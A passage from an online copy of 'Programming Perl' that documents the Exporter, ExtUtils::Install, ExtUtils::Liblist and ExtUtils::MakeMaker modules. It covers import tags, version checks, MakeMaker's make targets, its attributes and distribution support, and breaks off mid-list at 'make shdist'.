A leading ! indicates that matching names should be deleted from the list of names to import. If the first specification is a deletion, it is treated as though preceded by :DEFAULT. If you just want to import extra names in addition to the default set, you will still need to include :DEFAULT explicitly.

For example, suppose that YourModule.pm says:

@EXPORT      = qw(A1 A2 A3 A4 A5);
@EXPORT_OK   = qw(B1 B2 B3 B4 B5);
%EXPORT_TAGS = (
    T1 => [qw(A1 A2 B1 B2)],
    T2 => [qw(A1 A2 B3 B4)]
);

Individual names in EXPORT_TAGS must also appear in @EXPORT or @EXPORT_OK. Note that you cannot use the tags directly within either @EXPORT or @EXPORT_OK (though you could preprocess tags into either of those arrays, and in fact, the export_tags() and export_ok_tags() functions below do precisely that).

An application using YourModule can then say something like this:

use YourModule qw(:DEFAULT :T2 !B3 A3);

The :DEFAULT adds in A1, A2, A3, A4, and A5. The :T2 adds in only B3 and B4, since A1 and A2 were already added. The !B3 then deletes B3, and the A3 does nothing because A3 was already included. Other examples include:

use Socket qw(!/^[AP]F_/ !SOMAXCONN !SOL_SOCKET);
use POSIX  qw(:errno_h :termios_h !TCSADRAIN !/^EXIT/);

Remember that most patterns (using //) will need to be anchored with a leading ^, for example, /^EXIT/ rather than /EXIT/.

You can say:

BEGIN { $Exporter::Verbose=1 }

in order to see how the specifications are being processed and what is actually being imported into modules.

7.2.15.2 Module version checking

The Exporter module will convert an attempt to import a number from a module into a call to $module_name->require_version($value). This can be used to validate that the version of the module being used is greater than or equal to the required version. The Exporter module also supplies a default require_version() method, which checks the value of $VERSION in the exporting module.

Since the default require_version() method treats the $VERSION number as a simple numeric value, it will regard version 1.10 as lower than 1.9. For this reason it is strongly recommended that the module developer use numbers with at least two decimal places; for example, 1.09.

Prior to release 5.004 or so of Perl, this only worked with modules that use the Exporter module; in particular, this means that you can't check the version of a class module that doesn't require the Exporter module.

7.2.15.3 Managing unknown symbols

In some situations you may want to prevent certain symbols from being exported. Typically this applies to extensions with functions or constants that may not exist on some systems.

The names of any symbols that cannot be exported should be listed in the @EXPORT_FAIL array.

If a module attempts to import any of these symbols, the Exporter will give the module an opportunity to handle the situation before generating an error. The Exporter will call an export_fail() method with a list of the failed symbols:

@failed_symbols = $module_name->export_fail(@failed_symbols);

If the export_fail() method returns an empty list, then no error is recorded and all requested symbols are exported. If the returned list is not empty, then an error is generated for each symbol and the export fails. The Exporter provides a default export_fail() method that simply returns the list unchanged.

Uses for the export_fail() method include giving better error messages for some symbols and performing lazy architectural checks. Put more symbols into @EXPORT_FAIL by default and then take them out if someone actually tries to use them and an expensive check shows that they are usable on that platform.

7.2.15.4 Tag handling utility functions

Since the symbols listed within %EXPORT_TAGS must also appear in either @EXPORT or @EXPORT_OK, two utility functions are provided that allow you to easily add tagged sets of symbols to @EXPORT or @EXPORT_OK:

%EXPORT_TAGS = (Bactrian => [qw(aa bb cc)], Dromedary => [qw(aa cc dd)]);
Exporter::export_tags('Bactrian');     # add aa, bb and cc to @EXPORT
Exporter::export_ok_tags('Dromedary'); # add aa, cc and dd to @EXPORT_OK

Any names that are not tags are added to @EXPORT or @EXPORT_OK unchanged, but will trigger a warning (with -w) to avoid misspelt tag names being silently added to @EXPORT or @EXPORT_OK. Future versions may regard this as a fatal error.

Previous: 7.2.14 Env - Import Environment Variables | Programming Perl | Next: 7.2.16 ExtUtils::Install - Install Files from Here to There
7.2.14 Env - Import Environment Variables | Book Index | 7.2.16 ExtUtils::Install - Install Files from Here to There


[Chapter 7] 7.2.16 ExtUtils::Install - Install Files from Here to There

Programming PerlSearch this book

7.2.16 ExtUtils::Install - Install Files from Here to There

use ExtUtils::Install;
install($hashref, $verbose, $nonono);
uninstall($packlistfile, $verbose, $nonono);

install() and uninstall() are specific to the way ExtUtils::MakeMaker handles the platform-dependent installation and deinstallation of Perl extensions. They are not designed as general-purpose tools. If you're reading this chapter straight through (brave soul), you probably want to take a glance at the MakeMaker entry first. (Or just skip over everything in the ExtUtils package until you start writing an Ext.)

install() takes three arguments: a reference to a hash, a verbose switch, and a don't-really-do-it switch. The hash reference contains a mapping of directories; each key/value pair is a combination of directories to be copied. The key is a directory to copy from, and the value is a directory to copy to. The whole tree below the "from" directory will be copied, preserving timestamps and permissions.

There are two keys with a special meaning in the hash: "read" and "write". After the copying is done, install will write the list of target files to the file named by $hashref->{write}. If there is another file named by $hashref->{read}, the contents of this file will be merged into the written file. The read and the written file may be identical, but on the Andrew File System (AFS) it is fairly likely that people are installing to a different directory than the one where the files later appear.

uninstall() takes as first argument a file containing filenames to be unlinked. The second argument is a verbose switch, the third is a no-don't-really-do-it-now switch (useful to know what will happen without actually doing it).

Previous: 7.2.15 Exporter - Default Import Method for Modules | Programming Perl | Next: 7.2.17 ExtUtils::Liblist - Determine Libraries to Use and How to Use Them
7.2.15 Exporter - Default Import Method for Modules | Book Index | 7.2.17 ExtUtils::Liblist - Determine Libraries to Use and How to Use Them


[Chapter 7] 7.2.17 ExtUtils::Liblist - Determine Libraries to Use and How to Use Them

Programming PerlSearch this book

7.2.17 ExtUtils::Liblist - Determine Libraries to Use and How to Use Them

require ExtUtils::Liblist;
ExtUtils::Liblist::ext($potential_libs, $Verbose);

This utility takes a list of libraries in the form -llib1 -llib2 -llib3 and returns lines suitable for inclusion in a Perl extension Makefile on the current platform. Extra library paths may be included with the form -L/another/path. This will affect the searches for all subsequent libraries.

ExtUtils::Liblist::ext() returns a list of four scalar values, which Makemaker will eventually use in constructing a Makefile, among other things. The values are:

EXTRALIBS

List of libraries that need to be linked with ld(1) when linking a Perl binary that includes a static extension. Only those libraries that actually exist are included.

LDLOADLIBS

List of those libraries that can or must be linked when creating a shared library using ld(1). These may be static or dynamic libraries.

LD_RUN_PATH

A colon-separated list of the directories in LDLOADLIBS. It is passed as an environment variable to the process that links the shared library.

BSLOADLIBS

List of those libraries that are needed but can be linked in dynamically with the DynaLoader at run-time on this platform. This list is used to create a .bs (bootstrap) file. SunOS/Solaris does not need this because ld(1) records the information (from LDLOADLIBS) into the object file.

7.2.17.1 Portability

This module deals with a lot of system dependencies and has quite a few architecture-specific ifs in the code.

Previous: 7.2.16 ExtUtils::Install - Install Files from Here to There | Programming Perl | Next: 7.2.18 ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
7.2.16 ExtUtils::Install - Install Files from Here to There | Book Index | 7.2.18 ExtUtils::MakeMaker - Create a Makefile for a Perl Extension


[Chapter 7] 7.2.18 ExtUtils::MakeMaker - Create a Makefile for a Perl Extension

Programming PerlSearch this book

7.2.18 ExtUtils::MakeMaker - Create a Makefile for a Perl Extension

use ExtUtils::MakeMaker;
WriteMakefile( ATTRIBUTE => VALUE, ... );

# which internally is really more like...
%att = (ATTRIBUTE => VALUE, ...);
MM->new(\%att)->flush;

When you build an extension to Perl, you need to have an appropriate Makefile[9] in the extension's source directory. And while you could conceivably write one by hand, this would be rather tedious. So you'd like a program to write it for you.

[9] If you don't know what a Makefile is, or what the make(1) program does with one, you really shouldn't be reading this section. We will be assuming that you know what happens when you type a command like make foo.

Originally, this was done using a shell script (actually, one for each extension) called Makefile.SH, much like the one that writes the Makefile for Perl itself. But somewhere along the line, it occurred to the perl5-porters that, by the time you want to compile your extensions, there's already a bare-bones version of the Perl executable called miniperl, if not a fully installed perl. And for some strange reason, Perl programmers prefer programming in Perl to programming in shell. So they wrote MakeMaker, just so that you can write Makefile.PL instead of Makefile.SH.

MakeMaker isn't a program; it's a module (or it wouldn't be in this chapter). The module provides the routines you need; you just need to use the module, and then call the routines. As with any programming job, there are many degrees of freedom; but your typical Makefile.PL is pretty simple. For example, here's ext/POSIX/Makefile.PL from the Perl distribution's POSIX extension (which is by no means a trivial extension):

use ExtUtils::MakeMaker;
WriteMakefile(
    NAME         => 'POSIX',
    LIBS         => ["-lm -lposix -lcposix"],
    MAN3PODS     => ' ',    # Pods will be built by installman.
    XSPROTOARG   => '-noprototypes',       # XXX remove later?
    VERSION_FROM => 'POSIX.pm',
);

Several things are apparent from this example, but the most important is that the WriteMakefile() function uses named parameters. This means that you can pass many potential parameters, but you're only required to pass the ones you want to be different from the default values. (And when we say "many", we mean "many" - there are about 75 of them. See the Attributes section later.)

As the synopsis above indicates, the WriteMakefile() function actually constructs an object. This object has attributes that are set from various sources, including the parameters you pass to the function. It's this object that actually writes your Makefile, meshing together the demands of your extension with the demands of the architecture on which the extension is being installed. Like many craftily crafted objects, this MakeMaker object delegates as much of its work as possible to various other subroutines and methods. Many of these may be overridden in your Makefile.PL if you need to do some fine tuning. (Generally you don't.)

But let's not lose track of the goal, which is to write a Makefile that will know how to do anything to your extension that needs doing. Now as you can imagine, the Makefile that MakeMaker writes is quite, er, full-featured. It's easy to get lost in all the details. If you look at the POSIX Makefile generated by the bit of code above, you will find a file containing about 122 macros and 77 targets. You will want to go off into a corner and curl up into a little ball, saying, "Never mind, I didn't really want to know."

Well, the fact of the matter is, you really don't want to know, nor do you have to. Most of these items take care of themselves - that's what MakeMaker is there for, after all. We'll lay out the various attributes and targets for you, but you can just pick and choose, like in a cafeteria. We'll talk about the make targets first, because they're the actions you eventually want to perform, and then work backward to the macros and attributes that feed the targets.

But before we do that, you need to know just a few more architectural features of MakeMaker to make sense of some of the things we'll say. The targets at the end of your Makefile depend on the macro definitions that are interpolated into them. Those macro definitions in turn come from any of several places. Depending on how you count, there are about five sources of information for these attributes. Ordered by increasing precedence and (more or less) decreasing permanence, they are:

  • Platform-specific values in Perl's Config module, provided by the Configure program that was run when Perl was installed on this machine.

  • The WriteMakefile() function call arguments in Makefile.Pl, supplied by the extension writer. (You saw some of those above.)

  • Platform-specific hints in the extension's hints/ directory, also provided by extension writer. We'll talk about those later.

  • Overriding values from the command line for Makefile.PL script, supplied by the person who runs the script. These look like KEY=VALUE.

  • Overriding values from the command line for make itself, supplied by the person who runs the make. These also look like KEY=VALUE.

The first four of these turn into attributes of the object we mentioned, and are eventually written out as macro definitions in your Makefile. In most cases, the names of the values are consistent from beginning to end. (Except that the Config database keeps the names in lowercase, as they come from Perl's config.sh file. The names are translated to uppercase when they become attributes of the object.) In any case, we'll tend to use the term attributes to mean both attributes and the Makefile macros derived from them.

The Makefile.PL and the hints may also provide overriding methods for the object, if merely changing an attribute isn't good enough.

The hints files are expected to be named like their counterparts in PERL_SRC/hints, but with a .pl filename extension (for example, next_3_2.pl), because the file consists of Perl code to be evaluated. Apart from that, the rules governing which hintsfile is chosen are the same as in Configure. The hintsfile is evaled within a routine that is a method of our MakeMaker object, so if you want to override or create an attribute, you would say something like:

$self->{LIBS} = ['-ldbm -lucb -lc'];

By and large, if your Makefile isn't doing what you want, you just trace back the name of the misbehaving attribute to its source, and either change it there or override it downstream.

Extensions may be built using the contents of either the Perl source directory tree or the installed Perl library. The recommended way is to build extensions after you have run make install on Perl itself. You can then build your extension in any directory on your hard disk that is not below the Perl source tree. The support for extensions below the ext/ directory of the Perl distribution is only good for the standard extensions that come with Perl.

If an extension is being built below the ext/ directory of the Perl source, then MakeMaker will set PERL_SRC automatically (usually to ../..). If PERL_SRC is defined and the extension is recognized as a standard extension, then other variables default to the following:

PERL_INC     = PERL_SRC
PERL_LIB     = PERL_SRC/lib
PERL_ARCHLIB = PERL_SRC/lib
INST_LIB     = PERL_LIB
INST_ARCHLIB = PERL_ARCHLIB

If an extension is being built away from the Perl source, then MakeMaker will leave PERL_SRC undefined and default to using the installed copy of the Perl library. The other variables default to the following:

PERL_INC     = $archlibexp/CORE
PERL_LIB     = $privlibexp
PERL_ARCHLIB = $archlibexp
INST_LIB     = ./blib/lib
INST_ARCHLIB = ./blib/arch

If Perl has not yet been installed, then PERL_SRC can be defined as an override on the command line.

7.2.18.1 Targets

Far and away the most commonly used make targets are those used by the installer to install the extension. So we aim to make the normal installation very easy:

perl Makefile.PL  # generate the Makefile
make              # compile the extension
make test         # test the extension
make install      # install the extension

This assumes that the installer has dynamic linking available. If not, a couple of additional commands are also necessary:

make perl         # link a new perl statically with this extension
make inst_perl    # install that new perl appropriately

Other interesting targets in the generated Makefile are:

make config       # check whether the Makefile is up-to-date
make clean        # delete local temp files (Makefile gets renamed)
make realclean    # delete derived files (including ./blib)
make ci           # check in all files in the MANIFEST file
make dist         # see the "Distribution Support" section below

Now we'll talk about some of these commands, and how each of them is related to MakeMaker. So we'll not only be talking about things that happen when you invoke the make target, but also about what MakeMaker has to do to generate that make target. So brace yourself for some temporal whiplash.

7.2.18.2 Running MakeMaker

This command is the one most closely related to MakeMaker because it's the one in which you actually run MakeMaker. No temporal whiplash here. As we mentioned earlier, some of the default attribute values may be overridden by adding arguments of the form KEY=VALUE. For example:

perl Makefile.PL PREFIX=/tmp/myperl5

To get a more detailed view of what MakeMaker is doing, say:

perl Makefile.PL verbose

7.2.18.3 Making whatever is needed

A make command without arguments performs any compilation needed and puts any generated files into staging directories that are named by the attributes INST_LIB, INST_ARCHLIB, INST_EXE, INST_MAN1DIR, and INST_MAN3DIR. These directories default to something below ./blib if you are not building below the Perl source directory. If you are building below the Perl source, INST_LIB and INST_ARCHLIB default to ../../lib, and INST_EXE is not defined.

7.2.18.4 Running tests

The goal of this command is to run any regression tests supplied with the extension, so MakeMaker checks for the existence of a file named test.pl in the current directory and, if it exists, adds commands to the test target of the Makefile that will execute the script with the proper set of Perl -I options (since the files haven't been installed into their final location yet).

MakeMaker also checks for any files matching glob("t/*.t"). It will add commands to the test target that execute all matching files via the Test::Harness module with the -I switches set correctly. If you pass TEST_VERBOSE=1, the test target will run the tests verbosely.

7.2.18.5 Installing files

Once the installer has tested the extension, the various generated files need to get put into their final resting places. The install target copies the files found below each of the INST_* directories to their INSTALL* counterparts.

INST_LIB | -> | INSTALLPRIVLIB[10]or INSTALLSITELIB[11]
INST_ARCHLIB | -> | INSTALLARCHLIB[10]or INSTALLSITEARCH[11]
INST_EXE | -> | INSTALLBIN
INST_MAN1DIR | -> | INSTALLMAN1DIR
INST_MAN3DIR | -> | INSTALLMAN3DIR

[10] if INSTALLDIRS set to "perl"

[11] if INSTALLDIRS set to "site"

The INSTALL* attributes in turn default to their %Config counterparts, $Config{installprivlib}, $Config{installarchlib}, and so on.

If you don't set INSTALLARCHLIB or INSTALLSITEARCH, MakeMaker will assume you want them to be subdirectories of INSTALLPRIVLIB and INSTALLSITELIB, respectively. The exact relationship is determined by Configure. But you can usually just go with the defaults for all these attributes.

The PREFIX attribute can be used to redirect all the INSTALL* attributes in one go. Here's the quickest way to install a module in a nonstandard place:

perl Makefile.PL PREFIX=~ \

The value you specify for PREFIX replaces one or more leading pathname components in all INSTALL* attributes. The prefix to be replaced is determined by the value of $Config{prefix}, which typically has a value like /usr. (Note that the tilde expansion above is done by MakeMaker, not by perl or make.)

If the user has superuser privileges and is not working under the Andrew File System (AFS) or relatives, then the defaults for INSTALLPRIVLIB, INSTALLARCHLIB, INSTALLBIN, and so on should be appropriate.

By default, make install writes some documentation of what has been done into the file given by $(INSTALLARCHLIB)/perllocal.pod. This feature can be bypassed by calling make pure_install.

If you are using AFS, you must specify the installation directories, since these most probably have changed since Perl itself was installed. Do this by issuing these commands:

perl Makefile.PL INSTALLSITELIB=/afs/here/today
    INSTALLBIN=/afs/there/now INSTALLMAN3DIR=/afs/for/manpages
make

Be careful to repeat this procedure every time you recompile an extension, unless you are sure the AFS installation directories are still valid.

7.2.18.6 Static linking of a new Perl binary

The steps above are sufficient on a system supporting dynamic loading. On systems that do not support dynamic loading, however, the extension has to be linked together statically with everything else you might want in your perl executable. MakeMaker supports the linking process by creating appropriate targets in the Makefile. If you say:

make perl

it will produce a new perl binary in the current directory with all extensions linked in that can be found in INST_ARCHLIB, SITELIBEXP, and PERL_ARCHLIB. To do that, MakeMaker writes a new Makefile; on UNIX it is called Makefile.aperl, but the name may be system-dependent. When you want to force the creation of a new perl, we recommend that you delete this Makefile.aperl so the directories are searched for linkable libraries again.

The binary can be installed in the directory where Perl normally resides on your machine with:

make inst_perl

To produce a Perl binary with a different filename than perl, either say:

perl Makefile.PL MAP_TARGET=myperl
make myperl
make inst_perl

or say:

perl Makefile.PL
make myperl MAP_TARGET=myperl
make inst_perl MAP_TARGET=myperl

In either case, you will be asked to confirm the invocation of the inst_perl target, since this invocation is likely to overwrite your existing Perl binary in INSTALLBIN.

By default make inst_perl documents what has been done in the file given by $(INSTALLARCHLIB)/perllocal.pod. This behavior can be bypassed by calling make pure_inst_perl.

Sometimes you might want to build a statically linked Perl even though your system supports dynamic loading. In this case you may explicitly set the linktype:

perl Makefile.PL LINKTYPE=static

7.2.18.7 Attributes you can set

The following attributes can be specified as arguments to WriteMakefile() or as NAME=VALUE pairs on the command line. We give examples below in the form they would appear in your Makefile.PL, that is, as though passed as a named parameter to WriteMakefile() (including the comma that comes after it).

C

A reference to an array of *.c filenames. It's initialized by doing a directory scan and by derivation from the values of the XS attribute hash. This is not currently used by MakeMaker but may be handy in Makefile.PLs.

CONFIG

An array reference containing a list of attributes to fetch from %Config. For example:

CONFIG => [qw(archname manext)],

defines ARCHNAME and MANEXT from config.sh. MakeMaker will automatically add the following values to CONFIG:

ar            dlext        ldflags     ranlib
cc            dlsrc        libc        sitelibexp
cccdlflags    ld           lib_ext     sitearchexp
ccdlflags     lddlflags    obj_ext     so
CONFIGURE

A reference to a subroutine returning a hash reference. The hash may contain further attributes, for example, {LIBS => ...}, that have to be determined by some evaluation method. Be careful, because any attributes defined this way will override hints and WriteMakefile() parameters (but not command-line arguments).

DEFINE

An attribute containing additional defines, such as -DHAVE_UNISTD_H.

DIR

A reference to an array of subdirectories containing Makefile.PLs. For example, SDBM_FILE has:

DIR => ['sdbm'],

MakeMaker will automatically do recursive MakeMaking if subdirectories contain Makefile.PL files. A separate MakeMaker class is generated for each subdirectory, so each MakeMaker object can override methods using the fake MY:: class (see below) without interfering with other MakeMaker objects. You don't even need a Makefile.PL in the top level directory if you pass one in via -M and -e:

perl -MExtUtils::MakeMaker -e 'WriteMakefile()'
DISTNAME

Your name for distributing the package (by tar file). This defaults to NAME below.

DL_FUNCS

A reference to a hash of symbol names for routines to be made available as universal symbols. Each key/value pair consists of the package name and an array of routine names in that package. This attribute is used only under AIX (export lists) and VMS (linker options) at present. The routine names supplied will be expanded in the same way as XSUB names are expanded by the XS attribute.

The default key/value pair looks like this:

"$PKG" => ["boot_$PKG"]

For a pair of packages named RPC and NetconfigPtr, you might, for example, set it to this:

DL_FUNCS => {
    RPC          => [qw(boot_rpcb rpcb_gettime getnetconfigent)],
    NetconfigPtr => ['DESTROY'],
},
DL_VARS

An array of symbol names for variables to be made available as universal symbols. It's used only under AIX (export lists) and VMS (linker options) at present. Defaults to []. A typical value might look like this:

DL_VARS => [ qw( Foo_version Foo_numstreams Foo_tree ) ],
EXE_FILES

A reference to an array of executable files. The files will be copied to the INST_EXE directory. A make realclean command will delete them from there again.

FIRST_MAKEFILE

The name of the Makefile to be produced. Defaults to the contents of MAKEFILE, but can be overridden. This is used for the second Makefile that will be produced for the MAP_TARGET.

FULLPERL

A Perl binary able to run this extension.

H

A reference to an array of *.h filenames. Similar to C.

INC

Directories containing include files, in -I form. For example:

INC => "-I/usr/5include -I/path/to/inc",
INSTALLARCHLIB

Used by make install, which copies files from INST_ARCHLIB to this directory if INSTALLDIRS is set to "perl".

INSTALLBIN

Used by make install, which copies files from INST_EXE to this directory.

INSTALLDIRS

Determines which of the two sets of installation directories to choose: installprivlib and installarchlib versus installsitelib and installsitearch. The first pair is chosen with INSTALLDIRS=perl, the second with INSTALLDIRS=site. The default is "site".

INSTALLMAN1DIR

This directory gets the command manpages at make install time. It defaults to $Config{installman1dir}.

INSTALLMAN3DIR

This directory gets the library manpages at make install time. It defaults to $Config{installman3dir}.

INSTALLPRIVLIB

Used by make install, which copies files from INST_LIB to this directory if INSTALLDIRS is set to "perl".

INSTALLSITELIB

Used by make install, which copies files from INST_LIB to this directory if INSTALLDIRS is set to "site" (default).

INSTALLSITEARCH

Used by make install, which copies files from INST_ARCHLIB to this directory if INSTALLDIRS is set to "site" (default).

INST_ARCHLIB

Same as INST_LIB, but for architecture-dependent files.

INST_EXE

Directory where executable scripts should be staged during running of make. Defaults to ./blib/bin, just to have a dummy location during testing. make install will copy the files in INST_EXE to INSTALLBIN.

INST_LIB

Directory where we put library files of this extension while building it.

INST_MAN1DIR

Directory to hold the command manpages at make time.

INST_MAN3DIR

Directory to hold the library manpages at make time

LDFROM

Defaults to $(OBJECT) and is used in the ld(1) command to specify what files to link/load from. (Also see dynamic_lib later for how to specify ld flags.)

LIBPERL_A

The filename of the Perl library that will be used together with this extension. Defaults to libperl.a.

LIBS

An anonymous array of alternative library specifications to be searched for (in order) until at least one library is found.

For example:

LIBS => ["-lgdbm", "-ldbm -lfoo", "-L/path -ldbm.nfs"],

Note that any element of the array contains a complete set of arguments for the ld command. So do not specify:

LIBS => ["-ltcl", "-ltk", "-lX11"],

See NDBM_File/Makefile.PL for an example where an array is needed. If you specify a scalar as in:

LIBS => "-ltcl -ltk -lX11",

MakeMaker will turn it into an array with one element.

LINKTYPE

"static" or "dynamic" (the latter is the default unless usedl=undef in config.sh). Should only be used to force static linking. (Also see linkext, later in this chapter).

MAKEAPERL

Boolean that tells MakeMaker to include the rules for making a Perl binary. This is handled automatically as a switch by MakeMaker. The user normally does not need it.

MAKEFILE

The name of the Makefile to be produced.

MAN1PODS

A reference to a hash of POD-containing files. MakeMaker will default this to all EXE_FILES files that include POD directives. The files listed here will be converted to manpages and installed as requested at Configure time.

MAN3PODS

A reference to a hash of .pm and .pod files. MakeMaker will default this to all .pod and any .pm files that include POD directives. The files listed here will be converted to manpages and installed as requested at Configure time.

MAP_TARGET

If it is intended that a new Perl binary be produced, this variable holds the name for that binary. Defaults to perl.

MYEXTLIB

If the extension links to a library that it builds, set this to the name of the library (see SDBM_File).

NAME

Perl module name for this extension (for example, DBD::Oracle). This will default to the directory name, but should really be explicitly defined in the Makefile.PL.

NEEDS_LINKING

MakeMaker will figure out whether an extension contains linkable code anywhere down the directory tree, and will set this variable accordingly. But you can speed it up a very little bit if you define this Boolean variable yourself.

NOECHO

Governs make's @ (echoing) feature. By setting NOECHO to an empty string, you can generate a Makefile that echos all commands. Mainly used in debugging MakeMaker itself.

NORECURS

A Boolean that inhibits the automatic descent into subdirectories (see DIR above). For example:

NORECURS => 1,
OBJECT

A string containing a list of object files, defaulting to $(BASEEXT)$(OBJ_EXT). But it can be a long string containing all object files. For example:

OBJECT => "tkpBind.o tkpButton.o tkpCanvas.o",
PERL

Perl binary for tasks that can be done by miniperl.

PERLMAINCC

The command line that is able to compile perlmain.c. Defaults to $(CC).

PERL_ARCHLIB

Same as PERL_LIB for architecture-dependent files.

PERL_LIB

The directory containing the Perl library to use.

PERL_SRC

The directory containing the Perl source code. Use of this should be avoided, since it may be undefined.

PL_FILES

A reference to hash of files to be processed as Perl programs. By default MakeMaker will turn the names of any *.PL files it finds (except Makefile.PL) into keys, and use the basenames of these files as values. For example:

PL_FILES => {'whatever.PL' => 'whatever'},

This turns into a Makefile entry resembling:

all :: whatever

whatever :: whatever.PL
        $(PERL) -I$(INST_ARCHLIB) -I$(INST_LIB) \
                -I$(PERL_ARCHLIB) -I$(PERL_LIB) whatever.PL

You'll note that there's no I/O redirection into whatever there. The *.PL files are expected to produce output to the target files themselves.

PM

A reference to a hash of .pm files and .pl files to be installed. For example:

PM => {'name_of_file.pm' => '$(INST_LIBDIR)/install_as.pm'},

By default this includes *.pm and *.pl. If a lib/ subdirectory exists and is not listed in DIR (above) then any *.pm and *.pl files it contains will also be included by default. Defining PM in the Makefile.PL will override PMLIBDIRS.

PMLIBDIRS

A reference to an array of subdirectories that contain library files. Defaults to:

PMLIBDIRS => [ 'lib', '$(BASEEXT)' ],

The directories will be scanned and any files they contain will be installed in the corresponding location in the library. A libscan() method may be used to alter the behavior. Defining PM in the Makefile.PL will override PMLIBDIRS.

PREFIX

May be used to set the three INSTALL* attributes in one go (except for probably INSTALLMAN1DIR if it is not below PREFIX according to %Config). They will have PREFIX as a common directory node and will branch from that node into lib/, lib/ARCHNAME or whatever Configure decided at the build time of your Perl (unless you override one of them, of course).

PREREQ

A placeholder, not yet implemented. Will eventually be a hash reference: the keys of the hash are names of modules that need to be available to run this extension (for example, Fcntl for SDBM_File); the values of the hash are the desired versions of the modules.

SKIP

An array reference specifying the names of sections of the Makefile not to write. For example:

SKIP => [qw(name1 name2)],
TYPEMAPS

A reference to an array of typemap filenames. (Typemaps are used by the XS preprocessing system.) Use this when the typemaps are in some directory other than the current directory or when they are not named typemap. The last typemap in the list takes precedence. A typemap in the current directory has highest precedence, even if it isn't listed in TYPEMAPS. The default system typemap has lowest precedence.

VERSION

Your version number for distributing the package. This number defaults to 0.1.

VERSION_FROM

Instead of specifying the VERSION in the Makefile.PL, you can let MakeMaker parse a file to determine the version number. The parsing routine requires that the file named by VERSION_FROM contain one single line to compute the version number. The first line in the file that contains the regular expression:

/(\$[\w:]*\bVERSION)\b.*=/

will be evaluated with eval and the value of the named variable after the eval will be assigned to the VERSION attribute of the MakeMaker object. The following lines will be parsed satisfactorily:

$VERSION = '1.00';
( $VERSION ) = '$Revision: 1.64 $ ' =~ /\$Revision:\s+([^\s]+)/;
$FOO::VERSION = '1.10';

but these will fail:

my $VERSION = '1.01';
local $VERSION = '1.02';
local $FOO::VERSION = '1.30';

The file named in VERSION_FROM is added as a dependency to the Makefile in order to guarantee that the Makefile contains the correct VERSION attribute after a change of the file.

XS

A hash reference of .xs files. MakeMaker will default this. For example:

XS => {'name_of_file.xs' => 'name_of_file.c'},

The *.c files will automatically be included in the list of files deleted by a make clean.

XSOPT

A string of options to pass to xsubpp (the XS preprocessor). This might include -C++ or -extern. Do not include typemaps here; the TYPEMAP parameter exists for that purpose.

XSPROTOARG

May be set to an empty string, which is identical to -prototypes, or -noprototypes. MakeMaker defaults to the empty string.

XS_VERSION

Your version number for the .xs file of this package. This defaults to the value of the VERSION attribute.

7.2.18.8 Additional lowercase attributes

There are additional lowercase attributes that you can use to pass parameters to the methods that spit out particular portions of the Makefile. These attributes are not normally required.

clean

Extra files to clean.

clean => {FILES => "*.xyz foo"},
depend

Extra dependencies.

depend => {ANY_TARGET => ANY_DEPENDENCY, ...},
dist

Options for distribution (see "Distribution Support" below).

dist => {
    TARFLAGS => 'cvfF',
    COMPRESS => 'gzip',
    SUFFIX => 'gz',
    SHAR => 'shar -m',
    DIST_CP => 'ln',
},

If you specify COMPRESS, then SUFFIX should also be altered, since it is needed in order to specify for make the target file of the compression. Setting DIST_CP to "ln" can be useful if you need to preserve the timestamps on your files. DIST_CP can take the values "cp" (copy the file), "ln" (link the file), or "best" (copy symbolic links and link the rest). Default is "best".

dynamic_lib

Options for dynamic library support.

dynamic_lib => {
    ARMAYBE => 'ar',
    OTHERLDFLAGS => '...',
    INST_DYNAMIC_DEP => '...',
},
installpm

Some installation options having to do with AutoSplit.

{SPLITLIB => '$(INST_LIB)' (default) or '$(INST_ARCHLIB)'}
linkext

Linking style.

linkext => {LINKTYPE => 'static', 'dynamic', or ""},

Extensions that have nothing but *.pm files used to have to say:

linkext => {LINKTYPE => ""},

with Pre-5.0 MakeMakers. With Version 5.00 of MakeMaker such a line can be deleted safely. MakeMaker recognizes when there's nothing to be linked.

macro

Extra macros to define.

macro => {ANY_MACRO => ANY_VALUE, ...},
realclean

Extra files to really clean.

{FILES => '$(INST_ARCHAUTODIR)/*.xyz'}

7.2.18.9 Useful Makefile macros

Here are some useful macros that you probably shouldn't redefine because they're derivative.

FULLEXT

Pathname for extension directory (for example, DBD/Oracle).

BASEEXT

Basename part of FULLEXT. May be just equal to FULLEXT.

ROOTEXT

Directory part of FULLEXT with leading slash (for example, /DBD)

INST_LIBDIR

$(INST_LIB)$(ROOTEXT)

INST_AUTODIR

$(INST_LIB)/auto/$(FULLEXT)

INST_ARCHAUTODIR

$(INST_ARCHLIB)/auto/$(FULLEXT)

7.2.18.10 Overriding MakeMaker methods

If you cannot achieve the desired Makefile behavior by specifying attributes, you may define private subroutines in the Makefile.PL. Each subroutine returns the text it wishes to have written to the Makefile. To override a section of the Makefile you can use one of two styles. You can just return a new value:

sub MY::c_o { "new literal text" }

or you can edit the default by saying something like:

sub MY::c_o {
    my $self = shift;
    local *c_o;
    $_=$self->MM::c_o;
    s/old text/new text/;
    $_;
}

Both methods above are available for backward compatibility with older Makefile.PLs.

If you still need a different solution, try to develop another subroutine that better fits your needs and then submit the diffs to either perl5-porters@nicoh.com or comp.lang.perl.modules as appropriate.

7.2.18.11 Distribution support

For authors of extensions, MakeMaker provides several Makefile targets. Most of the support comes from the ExtUtils::Manifest module, where additional documentation can be found. Note that a MANIFEST file is basically just a list of filenames to be shipped with the kit to build the extension.

make distcheck

Reports which files are below the build directory but not in the MANIFEST file and vice versa. (See ExtUtils::Manifest::fullcheck() for details.)

make skipcheck

Reports which files are skipped due to the entries in the MANIFEST.SKIP file. (See ExtUtils::Manifest::skipcheck() for details).

make distclean

Does a realclean first and then the distcheck. Note that this is not needed to build a new distribution as long as you are sure that the MANIFEST file is OK.

make manifest

Rewrites the MANIFEST file, adding all remaining files found. (See ExtUtils::Manifest::mkmanifest() for details.)

make distdir

Copies all files that are in the MANIFEST file to a newly created directory with the name $(DISTNAME)-$(VERSION). If that directory exists, it will be removed first.

make disttest

Makes distdir first, and runs perl Makefile.PL, make, and make test in that directory.

make tardist

First does a command $(PREOP), which defaults to a null command. Does a make distdir next and runs tar(1) on that directory into a tarfile. Then deletes the distdir. Finishes with a command $(POSTOP), which defaults to a null command.

make dist

Defaults to $(DIST_DEFAULT), which in turn defaults to tardist.

make uutardist

Runs a tardist first and uuencodes the tarfile.

make shdist

